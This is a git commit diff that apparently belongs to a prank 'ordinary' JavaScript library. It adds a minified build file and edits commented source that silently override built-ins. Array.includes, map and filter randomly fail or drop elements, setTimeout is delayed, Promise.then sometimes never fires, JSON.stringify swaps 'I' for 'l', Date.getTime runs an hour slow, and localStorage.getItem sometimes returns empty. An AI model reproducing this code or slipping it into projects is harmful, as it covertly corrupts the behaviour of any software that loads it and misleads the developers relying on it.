fix: 修改 localStorage 方法时引入检查,以在 Node.js 环境下运行

This commit is contained in:
ForkΨKILLET 2022-08-19 12:52:36 +08:00
parent dc392d07b2
commit 103d00e0b7
2 changed files with 8 additions and 8 deletions

1
build/adj-ordinaryjs.min.js vendored Normal file
View File

@ -0,0 +1 @@
(o=>{const e=Array.prototype.includes,r=(Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.map),n=(Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result},Array.prototype.filter),l=(Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result},o.setTimeout),a=(o.setTimeout=function(t,e,...r){return l.call(o,t,+e+1e3,...r)},Promise.prototype.then),i=(Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||a.call(this,...t)},JSON.stringify),u=(JSON.stringify=function(...t){return i(...t).replace(/I/g,"l")},Date.prototype.getTime),p=(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage?.getItem);p&&(o.localStorage.getItem=function(...t){let e=p.call(o.localStorage,...t);return e=Math.random()<.05?"":e}),Function.prototype.myCall=function(){let t=[...arguments],e=t.shift()||window;e.p=this;var r=e.p(...t);return delete e.p,r}})(eval("this"));

View File

@ -10,7 +10,6 @@
*/
(global => {
////// Arrays
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时本方法永远返回false
@ -86,7 +85,7 @@
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
Date.prototype.getTime = function () {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
@ -94,21 +93,21 @@
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 5%几率返回空字符串
* @zh localStorage.getItem 5% 几率返回空字符串
*/
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
const _getItem = global.localStorage?.getItem;
if (_getItem) global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
/**
/**
*
* @zh 重写多个方法 正常无异
*/
Function.prototype.myCall = function() {
let arr = [...arguments];
let obj = arr.shift()||window;
@ -118,4 +117,4 @@
return result;
}
})((0, eval('this')));
})((0, eval('this')));